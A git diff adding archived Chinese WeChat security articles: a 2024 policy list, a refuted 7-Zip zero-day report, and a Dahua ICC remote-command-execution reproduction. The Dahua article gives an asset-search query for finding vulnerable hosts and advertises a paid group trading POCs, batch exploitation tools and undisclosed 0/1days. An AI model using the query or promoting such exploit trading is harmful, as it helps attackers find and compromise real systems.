diff --git a/data.json b/data.json index eee2f648..20aa5197 100644 --- a/data.json +++ b/data.json @@ -2448,5 +2448,18 @@ "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247489395&idx=1&sn=256650cb87713ff212758abde0e2facc": "【漏洞预警】Apache Arrow代码执行漏洞(CVE-2024-52338)", "https://mp.weixin.qq.com/s?__biz=Mzk0OTY2ODE1NA==&mid=2247484948&idx=1&sn=480a76ee02ac812d7b8f4f5635fff7b4": "SSTI模板注入漏洞详解（附一键getshell工具）", "https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247519026&idx=1&sn=1199efa3c2e527406ee3ae0ae85e550d": "记一次JS中的漏洞挖掘", - "https://mp.weixin.qq.com/s?__biz=MzI5Mzg5MDM3NQ==&mid=2247498213&idx=1&sn=42949367265a2dbc23de207739cc03d9": "你乘上的是列车还是彗星？" + "https://mp.weixin.qq.com/s?__biz=MzI5Mzg5MDM3NQ==&mid=2247498213&idx=1&sn=42949367265a2dbc23de207739cc03d9": "你乘上的是列车还是彗星？", + "https://mp.weixin.qq.com/s?__biz=Mzg4Njc0Mjc3NQ==&mid=2247486620&idx=1&sn=a3c9f75946a17f69bb762ac9e19442ee": "开源代码漏洞扫描器 OSV-Scanner 新增修复和离线功能", + "https://mp.weixin.qq.com/s?__biz=Mzg2NjY2MTI3Mg==&mid=2247498035&idx=2&sn=ae95efa731c1ad0bfb4f3907942bbcf7": "7-Zip 零日漏洞据称已在网上泄露", + "https://mp.weixin.qq.com/s?__biz=MzAwNTgyODU3NQ==&mid=2651130106&idx=1&sn=a8a6ceb0bf11ca5eb70a3e6c42c9a141": "2024年我国全行业数字化及网络安全政策标准汇总下载", + "https://mp.weixin.qq.com/s?__biz=MzI1NTE2NzQ3NQ==&mid=2247485496&idx=1&sn=30378454837adf12cd6f54952ac84eee": "【渗透书籍推荐】《Web漏洞分析与防范实战》丨文末参与抽奖免费赠书！！", + "https://mp.weixin.qq.com/s?__biz=MzI1NTE2NzQ3NQ==&mid=2247485496&idx=2&sn=f883374d1a9a9eab5602921437412041": "【漏洞复现】朗速ERP后台管理系统FileUploadApi接口文件存在文件上传漏洞||附POC", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491967&idx=1&sn=f272d94e20068861012bfdc0fb0343c4": "漏洞预警 | Adobe ColdFusion反序列化漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491967&idx=2&sn=835396913c02e3d69338f769abed1682": "漏洞预警 | 用友NC XML实体注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491967&idx=3&sn=ae28506ae28775537a4e202b2f314308": "漏洞预警 | 用友BIP信息泄露漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkyMjQ5ODk5OA==&mid=2247506527&idx=1&sn=4f478afe2ddb7c0d9505a4575c6baaa6": "超300万台未加密邮件服务器暴露，用户数据面临严重威胁！", + "https://mp.weixin.qq.com/s?__biz=MzkyNzE5MDUzMw==&mid=2247567927&idx=1&sn=86d6ea511f81433eb47444a7d9427df2": "一家网安劳模企业的2024全年创作合辑", + "https://mp.weixin.qq.com/s?__biz=MzU3MjU4MjM3MQ==&mid=2247489371&idx=1&sn=7bf3786a43261b9f5d4ca11a1815e449": "【1day edu 大量存在】大华智能物联综合管理平台(ICC) 存在远程命令执行漏洞", + "https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247518041&idx=1&sn=07f9f7aae2aead67b9b4558d64c61cef": "代码审计 - MCMS v5.4.1 0day挖掘", + "https://mp.weixin.qq.com/s?__biz=MzI5NTM4OTQ5Mg==&mid=2247633511&idx=3&sn=a3006d2615237b392a55971d9ec8ecb5": "WPA3协议存在安全漏洞，黑客可获取WiFi密码" } \ No newline at end of file diff --git a/doc/2024年我国全行业数字化及网络安全政策标准汇总下载.md b/doc/2024年我国全行业数字化及网络安全政策标准汇总下载.md new file mode 100644 index 00000000..594a4523 --- /dev/null +++ b/doc/2024年我国全行业数字化及网络安全政策标准汇总下载.md @@ -0,0 +1,99 @@ +# 2024年我国全行业数字化及网络安全政策标准汇总下载 +原创 威努特 威努特安全网络 2025-01-03 00:01 + +# + +2024年，网络强国、数字中国建设持续深入推进，**发展新质生产力、激活数字经济引擎、筑牢网络安全屏障**是主旋律，国家对各重要行业的数字化改革方针、新型基础设施建设、网络安全保障等对应层面作出一系列新部署、新要求。 + + +威努特致力于把安全数字化转型带入千行百业，本文全面梳理了2024年数字化及网络安全领域的国家法律法规、重点行业政策规章、国家技术标准等相关资料，供业界同仁们学习参考。相信随着政策体系的不断完善和技术创新的持续深入，我国的数字化转型升级之旅将迎来更加广阔的新征程。 + +  + + +**关注本公众号**【**威努特安全网络**】 + +**在对话框回复**【**2024**】**可下载全部资料** + + +**01** + +**工 业 领 域** + + +

政  策

日期

发布单位

《工业控制系统网络安全防护指南》

1/19

工信部

《工业领域数据安全能力提升实施方案（2024-2026年）》

2/23

工信部

《关于做好2024年信息通信业安全生产和网络运行安全工作的通知》

4/7

工信部

《工业和信息化领域数据安全风险评估实施细则（试行）》

5/24

工信部

《物联网标准体系建设指南（2024版）》

8/26

工信部

国家标准委

《关于推进移动物联网“万物智联”发展的通知》

9/12

工信部

《工业和信息化领域数据安全事件应急预案（试行）》

10/29

工信部

《工业和信息化领域数据安全合规指引》

11/19

工信联盟等十七单位

《制造业企业数字化转型实施指南》

12/25

工信部等三部门

+ + +**02** + +**能 源 领 域** + + +

政  策

日期

发布单位

《自然资源数字化治理能力提升总体方案》

2/5

自然资源部

《2024年水利网信工作要点》

2/27

水利部

《自然资源领域数据安全管理办法》

3/22

自然资源部

《电力网络安全事件应急预案》

5/16

自然资源部

《电网安全风险管控办法》

11/20

国家能源局

《加强电力安全治理 以高水平安全保障新型电力系统高质量发展的意见》

11/20

国家能源局

《电力监控系统安全防护规定》

12/12

国家发改委

+ + +**03** + +**交 通 领 域** + + +

政  策

日期

发布单位

《国家汽车芯片标准体系建设指南》

1/9

工信部

《铁路关键信息基础设施安全保护管理办法》

2/1

交通运输部

《网络安全标准实践指南——车外画面局部轮廓化处理效果验证》

3/6

网安标委

《智能网联汽车时空数据安全处理基本要求（征求意见稿）》

5/21

自然资源部

《民航数据管理办法（征求意见稿）》

6/4

民航局

《民航数据共享管理办法（征求意见稿）》

6/4

民航局

《关于加强智能网联汽车有关测绘地理信息安全管理的通知》

7/30

自然资源部

《关于进一步加强智能网联汽车准入、召回及软件在线升级管理的通知（征求意见稿）》

8/1

工信部

《网络安全标准实践指南—— 一键停止收集车外数据指引》

12/19

网安标委

+ + +**04** + +**金 融 领 域** + + +

政  策

日期

发布单位

《银行业数据资产估值指南》

2/29

中国银行业协会

《会计师事务所数据安全管理暂行办法》

5/10

财政部、网信办

《反保险欺诈工作办法》

7/22

金融监管总局

《会计软件基本功能和服务规范》

7/29

财政部

《会计信息化工作规范》

8/7

财政部

《关于加强和改进互联网财产保险业务监管有关事项的通知》

8/9

金融监管总局

《关于加强银行业保险业移动互联网应用程序管理的通知》

9/12

金融监管总局

《推动数字金融高质量发展行动方案》

11/27

央行等七部门

《银行保险机构数据安全管理办法》

12/27

金融监管总局

修改《中国人民银行关于进一步加强征信信息安全管理的通知》

12/30

中国人民银行

+ + +**05** + +**政 务 领 域** + + +

政  策

日期

发布单位

《数据安全技术 政务数据处理安全要求（征求意见稿）》

4/8

网安标委

《公共场所视频图像信息系统管理条例》

4/8

公安部

《互联网政务应用安全管理规定》

5/22

网信办

《电子政务电子认证服务管理办法》

9/4

国家密码管理局

+ + +**06** + +**智 慧 城 市 领 域** + + +

政  策

日期

发布单位

《关于深化智慧城市发展 推进城市全域数字化转型的指导意见》

5/20

国家发改委等四部门

《关于推动新型信息基础设施协调发展有关事项的通知》

9/4

工信息部等十一部门

《城市数字公共基础设施标准体系》

10/25

住房城乡建设部

《关于推进新型城市基础设施建设打造韧性城市的意见》

12/5

中共中央办公厅、国务院

+ + +**07** + +**人 工 智 能 领 域** + + +

政  策

日期

发布单位

《生成式人工智能服务安全基本要求》

2/29

网安标委

《信息安全技术 生成式人工智能数据标注安全规范》征求意见稿

4/3

网安标委

《信息安全技术 生成式人工智能预训练和优化训练数据安全规范》征求意见稿

4/3

网安标委

《网络安全技术 生成式人工智能服务安全基本要求》征求意见稿

5/23

网安标委

《国家人工智能产业综合标准化体系建设指南（2024版）》

6/5

工信部等四部门

《人工智能安全治理框架》1.0版

9/10

网安标委

《人工智能生成合成内容标识办法（征求意见稿）》

9/14

网信办

《网络安全标准实践指南——生成式人工智能服务安全应急响应指南（征求意见稿）》

12/17


网安标委

+ + +**08** + +**医 疗 领 域** + + +

政  策

日期

发布单位

《关于进一步推进医师电子化信息管理工作的通知》

3/19

国家卫健委

《中医医院信息与数字化建设规范（2024版）》

12/5

中医药管理局

+ + +**09** + +**更多数字化及网络安全政策** + + +

政策

日期

发布单位

《“数据要素×”三年行动计划（2024—2026年）》

1/4

国家数据局等十七部门

《关于加强行政事业单位数据资产管理的通知》

2/5

财政部

《寄递服务用户个人信息安全管理办法（征求意见稿）》

2/5

国家邮政局

GB/T 43697-2024《数据安全技术 数据分类分级规则》

3/21

网安标委

《促进和规范数据跨境流动规定》

3/22

网信办

《数据出境安全评估申报指南（第二版）》

3/22

网信办

《个人信息出境标准合同备案指南（第二版）》

3/22

网信办

《网络安全标准实践指南--网络安全产品互联互通 资产信息格式》

3/25

网安标委

《中华人民共和国保守国家秘密法》

5/1

人大常委

《数据安全技术 个人信息保护合规审计要求（征求意见稿）》

7/12

网安标委

《数据安全技术 数据接口安全风险监测方法（征求意见稿）》

8/2

网安标委

《网络安全技术 标识密码认证系统密码及其相关安全技术要求（征求意见稿）》

8/2

网安标委

《网络安全标准实践指南—互联网平台停服数据处理安全要求》

8/7

网安标委

《网络安全标准实践指南——敏感个人信息识别指南》

9/14

网安标委

《网络数据安全管理条例》

9/24

国务院

《国家数据标准体系建设指南》

9/25

国家发改委等六部门

《关于加快公共数据资源开发利用的意见》

10/9

中共中央办公厅、国务院

《公共数据资源登记管理暂行办法（公开征求意见稿）》

10/12

国家发改委

《关键信息基础设施商用密码使用管理规定（征求意见稿）》

11/15

国家密码管理局

《国家数据基础设施建设指引（征求意见稿）》

11/22

国家数据局

《可信数据空间发展行动计划（2024—2028年）》

11/23

国家数据局

《关于完善数据流通安全治理 更好促进数据要素市场化价值化的实施方案》

11/29

国家数据局

《中小企业数字化赋能专项行动方案（2025—2027年）》

12/23

工信部等四部门

+ + +![](https://mmbiz.qpic.cn/mmbiz_png/vEkwp3V9UttO1byVSbuod03z4vTwBZa0QPXxjXLFBAUUpkYOYz78KpuM3Lic13XvZSLwMRqwPWx2RcI41KF0fcw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/vEkwp3V9UtvKMyMOEIBicUdfszasytMDQ1WUymnSvTZuTib5nIYuzaqriabu2mxOyfz9n0qv5EicrxZjs0GjjQBpxA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +渠道合作咨询   田先生 15611262709 + +稿件合作   微信:shushu12121 + diff --git a/doc/7-Zip 零日漏洞据称已在网上泄露.md b/doc/7-Zip 零日漏洞据称已在网上泄露.md index 7737cbb4..59768f5b 100644 --- a/doc/7-Zip 零日漏洞据称已在网上泄露.md +++ b/doc/7-Zip 零日漏洞据称已在网上泄露.md @@ -1,33 +1,30 @@ # 7-Zip 零日漏洞据称已在网上泄露 - Ots安全 2025-01-01 06:23 +铸盾安全 河南等级保护测评 2025-01-03 00:10 -![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "") - -![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rWGOWg48taf0JmHLA5M0AdjFh9aY4QTNKNoNibmj7ExVaQ3ZwRy8334EVryYm8Qk8bX5UutIpJk8FpHsCQAGtKw/640?wx_fmt=jpeg&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sNicKB84ZxoHDlAmV09aZ1WrsSdBhUcwVTEz7Kp6OFn0BLHughLibpcgESTWGenIdf3eLQJwb44icGibFuibm5u1ialA/640?wx_fmt=png&from=appmsg "") 据称，一名在 X 上使用别名“NSA_Employee39”的黑客泄露了一个严重的 7-Zip 零日漏洞，当受害者的机器使用最新版本的 7-Zip 打开或解压时，该漏洞可允许攻击者在受害者的机器上执行任意代码。 这一披露带来了重大的网络安全风险，特别是在信息窃取恶意软件扩散和潜在供应链攻击载体的背景下。 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taf0JmHLA5M0AdjFh9aY4QTN6oH7KYx7TMW1z005hchDhW4icvLxOVmbXANw5ShDELtDSianpI8TFa7Q/640?wx_fmt=png&from=appmsg "") +网络安全新闻  +最近报道了 + 一个严重的安全漏洞 CVE-2024-11477，该漏洞 +出现在流行的文件压缩实用程序 7-Zip 中，允许远程攻击者通过特制的档案执行恶意代码。 +## 漏洞：利用 7-Zip 的 LZMA 解码器 -网络安全新闻 最近报道了 一个严重的安全漏洞 CVE-2024-11477，该漏洞出现在流行的文件压缩实用程序 7-Zip 中，允许远程攻击者通过特制的档案执行恶意代码。 - -**漏洞：利用 7-Zip 的 LZMA 解码器** - -此次披露的零日漏洞针对的是 7-Zip 中的 LZMA 解码器。具体来说，它利用格式错误的 LZMA 流来触发RC_NORM函数中的缓冲区溢出。 +此次披露的零日漏洞针对的是 7-Zip 中的 LZMA 解码器。具体来说，它利用格式错误的 LZMA 流来触发RC_NORM +函数中的缓冲区溢出。 这种复杂的漏洞利用了缓冲区指针和有效载荷对齐，从而在受害者的系统上执行任意代码。 对于用户来说，这意味着使用 7-Zip 应用程序打开或提取恶意 .7z 文件的简单操作可能会危害系统，使攻击者无需任何额外的用户交互即可执行恶意 shellcode。 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taf0JmHLA5M0AdjFh9aY4QTNBtHdYQqlGdbC69aChfU4ukfmzRiahuoZNoMIRmTeqlZuzvgWAyZa76A/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sNicKB84ZxoHDlAmV09aZ1WrsSdBhUcwVdIicbXicRqc1ia2ubMslQrsnRx5be4ogO9p6ksRbsWNhxPTPZh7yN3OmQ/640?wx_fmt=png&from=appmsg "") -Pastebin 上发布的 0day 漏洞截图 - -为了演示该漏洞，“NSA_Employee39”通过 Pastebin 分享了一张截图，其中显示了执行良性负载的代码——启动 Windows 计算器应用程序 ( calc.exe)。然而，此代码很容易被更有害的负载替换，从而大大加剧了威胁。 - -**信息窃取恶意软件的新途径** +为了演示该漏洞，“NSA_Employee39”通过 Pastebin 分享了一张截图，其中显示了执行良性负载的代码——启动 Windows 计算器应用程序 ( calc.exe +)。然而，此代码很容易被更有害的负载替换，从而大大加剧了威胁。 +## 信息窃取恶意软件的新途径 在 Infostealer 恶意软件攻击的背景下，这种漏洞尤其令人担忧。这些恶意程序旨在悄悄地从受感染的系统中提取敏感信息，例如登录凭据、银行详细信息和个人数据。 @@ -50,17 +47,20 @@ Pastebin 上发布的 0day 漏洞截图 通过官方渠道报告的漏洞可以让开发人员有时间修补，而未经警告的公开披露则为攻击者提供了立即利用未受保护系统的机会。 更令人担忧的是，“NSA_Employee39”暗示即将发布另一个针对开源论坛软件 MyBB 的零日漏洞。如果被揭露，这可能会导致大规模入侵，并暴露无数在线社区的敏感数据库。 - -**用户和组织应该做什么？** +## 用户和组织应该做什么？ 虽然 7-Zip 漏洞的官方补丁尚未发布，但网络安全专家建议立即采取行动以最大程度地降低风险。关键步骤包括： -- 监控更新：用户和组织应密切关注 7-Zip 开发人员的更新，并在补丁发布后立即应用补丁。 +- **监控更新：** +用户和组织应密切关注 7-Zip 开发人员的更新，并在补丁发布后立即应用补丁。 -- 实施缓解策略：组织应采用文件沙盒和扫描机制，在处理第三方文件之前对其进行仔细检查。 +- **实施缓解策略：** +组织应采用文件沙盒和扫描机制，在处理第三方文件之前对其进行仔细检查。 -- 提高意识：进行培训，教育用户了解打开未经请求或可疑的存档文件的风险。 +- **提高意识：** +进行培训，教育用户了解打开未经请求或可疑的存档文件的风险。 -- 社区合作：网络安全专家和研究人员必须合作来分析和应对由此和其他漏洞带来的新威胁。 +- **社区合作：** +网络安全专家和研究人员必须合作来分析和应对由此和其他漏洞带来的新威胁。 对于防御者来说，这凸显了在迅速演变的威胁面前加强防御和保持警惕的迫切需要。 @@ -72,7 +72,7 @@ Pastebin 上发布的 0day 漏洞截图 7-Zip 的创建者 Igor Pavlov 在 7-Zip 论坛的漏洞部分驳斥了这些说法，他表示：“Twitter 上的这个报告是假的。我不明白为什么这位 Twitter 用户会做出这样的声明。7-Zip/LZMA 中不存在 ACE 漏洞。” -![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taf0JmHLA5M0AdjFh9aY4QTN1GiaWEUs1DbbshGWcXCvfa8CNBGHosW1nCb4pt2oKRqIUrK0hsCPmtw/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sNicKB84ZxoHDlAmV09aZ1WrsSdBhUcwVuksvFKqIN3wc5edYqyWo5kmacH6hvZMiaPibYolJYd4swkkTB06SPvhQ/640?wx_fmt=png&from=appmsg "") @NSA_Employee39 账户没有立即回应社交媒体上的评论请求。 @@ -80,44 +80,21 @@ Pastebin 上发布的 0day 漏洞截图 @NSA_Employee39 账户在 Pastebin 上分享了最新消息：“该漏洞源于对 LZMA 流结构的验证不足，导致格式错误的输入触发溢出并执行任意代码。请记住，这只是一个概念验证。” -![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taf0JmHLA5M0AdjFh9aY4QTNMzOeKJ33ib04PJeqW4pO1z0ibbjbl0veicia5ibdeVJo2aTGnJ8erdn2f4A/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sNicKB84ZxoHDlAmV09aZ1WrsSdBhUcwVNkKbtFYa6OuAK35umXo3gsL8yLlJFotAcS2MRwLiasRwiajQkytuMSibw/640?wx_fmt=png&from=appmsg "") -美国东部时间下午 6 点更新： +**美国东部时间下午 6 点更新：** Igor Pavlov 否认了 X 账号分享的说法，他表示“LZMA 解码器中没有 RC_NORM 函数。相反，7-Zip 在 LZMA 编码器和 PPMD 解码器中包含 RC_NORM 宏。因此，LZMA 解码代码不会调用 RC_NORM。漏洞注释中关于 RC_NORM 的说法是不正确的。” -![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taf0JmHLA5M0AdjFh9aY4QTNdYJQAcYo1sbU0ZNqEsekKkC2NBbicjd2UJYibDs7ViaD2DBpgFia6g9Pjw/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/sNicKB84ZxoHDlAmV09aZ1WrsSdBhUcwVmcJ53KLM7VaTPPXJG93aOkUibVicHcWDBrR9y2wbTh4H3FuF7T8BSuibw/640?wx_fmt=png&from=appmsg "") **更新：2025 年 1 月 1 日 - 上午 12:38：** -卡巴斯基研究员 Marc R 表示RC_NORM 宏是安全的，不存在任何漏洞。 -> 主题：揭穿 7-Zip 漏洞 PoC 🚨📂 - -1/🚩声明：网上分享了一个 7-Zip 的概念验证漏洞，据称针对的是 LZMA 解码器中的漏洞。据称，该漏洞会触发 RC_NORM 宏中的缓冲区溢出。让我们深入分析一下！🕵️‍♂️… +卡巴斯基研究员 Marc R 表示**RC_NORM 宏** +是安全的，不存在任何漏洞。 + +此外，他们确认，**格式错误的 LZMA 流** +会触发错误，而不是导致溢出，从而确保了处理此类情况的稳健性。此外，概念验证中包含的**shellcode 和偏移量** +不起作用，导致漏洞利用无效。 - -— Marc R (@Seifreed) 2025 年 1 月 1 日 - -此外，他们确认，格式错误的 LZMA 流会触发错误，而不是导致溢出，从而确保了处理此类情况的稳健性。此外，概念验证中包含的shellcode 和偏移量不起作用，导致漏洞利用无效。 - - - -感谢您抽出 - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "") - -. - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "") - -. - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "") - -来阅读本文 - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "") - -**点它，分享点赞在看都在这里** - diff --git a/doc/WPA3协议存在安全漏洞，黑客可获取WiFi密码.md b/doc/WPA3协议存在安全漏洞，黑客可获取WiFi密码.md index aaeb3e4f..a872c83a 100644 --- a/doc/WPA3协议存在安全漏洞，黑客可获取WiFi密码.md +++ b/doc/WPA3协议存在安全漏洞，黑客可获取WiFi密码.md @@ -1,5 +1,5 @@ # WPA3协议存在安全漏洞，黑客可获取WiFi密码 -FreeBuf 商密君 2025-01-01 12:25 +老布 商密君 2025-01-02 14:35 研究人员成功结合中间人攻击（MITM）和社会工程学技术，绕过了Wi - Fi保护协议——WPA3 ，进而获取网络密码。此次研究由西印度大学的Kyle Chadee、Wayne Goodridge和Koffka Khan开展，这一研究揭示了最新无线安全标准存在的安全漏洞。 diff --git a/doc/【1day edu 大量存在】大华智能物联综合管理平台(ICC) 存在远程命令执行漏洞.md b/doc/【1day edu 大量存在】大华智能物联综合管理平台(ICC) 存在远程命令执行漏洞.md new file mode 100644 index 00000000..e2ecc5e6 --- /dev/null +++ b/doc/【1day edu 大量存在】大华智能物联综合管理平台(ICC) 存在远程命令执行漏洞.md @@ -0,0 +1,131 @@ +# 【1day edu 大量存在】大华智能物联综合管理平台(ICC) 存在远程命令执行漏洞 +原创 xiachuchunmo 银遁安全团队 2025-01-02 22:01 + +**需要EDU SRC邀请码的师傅可以私聊后台，免费赠送EDU SRC邀请码（邀请码管够）** + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**漏洞简介** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**浙江大华技术股份有限公司智能物联综合管理平台是一款基于物联网技术的综合性管理平台，旨在为企业和用户提供智能化、便捷化的物联网解决方案。该平台整合了大华技术在视频监控、数据采集、数据分析等方面的核心技术，实现了对各类物联网设备的统一管理和控制，提高了企业的运营效率和管理水平。大华智能物联综合管理平台(ICC) GetClassValue存在 远程命令执行漏洞，使得攻击者可以通过构造特定的请求远程执行恶意代码。此漏洞可能导致攻击者获取系统权限、执行任意命令，严重威胁系统的机密性和完整性。** + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**资产测绘** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + +``` +body="*客户端会小于800*" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5icrGV7Y4XNVH2xQ7h3OuXPYAWsk11o7MVzgskHPVhjqdaQ7EV34JPVJibjfXfhrQJrficITmicKwL0wA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5icrGV7Y4XNVH2xQ7h3OuXPYoa0kCoSNal2Igd43p5Sh8mniaWwg7gnWPKWy1kus6s28nxsgWflxE7Q/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**漏洞复现** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**执行ID命令测试** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5icrGV7Y4XNVH2xQ7h3OuXPYME3iandrwKPic7zb3shWAct11UXDsArLWQWP4SUcjUdMJbqNhWp8DicibQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**Nuclei测试** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5icrGV7Y4XNVH2xQ7h3OuXPYAicCibibicIiaCiaqD4loOFGHqkpgwg2Boic52JLmPvCEEiayp2WnQibkqGVSeA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**圈子介绍** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +高 +质量漏洞利用工具分享社区，每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具，团队内部POC分享，星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。 +如果师傅还是新手，内部的交流群有很多行业老师傅可以为你解答学习上的疑惑，内部分享的POC可以助你在Edu和补天等平台获得一定的排名。 +如果师傅已经 +是老手了，有一个高质量的LD库也能为你的工作提高极大的效率，实战或者攻防中有需要的Day我们也可以通过自己的途径帮你去寻找。 + +**【圈子服务】** + +1，一年至少365+漏洞Poc及对应漏洞批量利用工具 + +2，Fofa永久高级会员 + +3，24HVV内推途径 + +4，Cmd5解密，各种漏洞利用工具及后续更新，渗透工具、文档资源分享 + +5，内部漏洞 +库情报分享 +（目前已有2000+ +poc，会定期更新，包括部分未公开0/1day） + +6，加入内部微信群，认识更多的行业朋友（群里有100+C**D通用证书师傅），遇到任何技术问题都可以进行快速提问、讨论交流； + + +圈子目前价格为**129元** +**(交个朋友啦！)** +，现在星球有近900+位师傅相信并选择加入我们，人数满1000 +**涨价至149**，圈子每天都会更新内容。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/yeJvia5dNx5ibmJXuUnaww610JyW2aMD7XyghxoOEL12QTuKPMtygJ7abCibjickyRUpBPDf52hoXPRu3nWEmjzt5A/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +**圈子近期更新LD库** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1 "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx58XN95L48ricPoPFnUrqsCa3Tz3icz1sPf4TlPWPKREHAw9TZrROaD0X6IE5aAQkbjCJRIhXrKjGFiaQ/640?wx_fmt=png&from=appmsg "") + +**每篇文章均有详细且完整的手工WriteUp****（跟其他只有POC，没有验证截图的不一样）** + 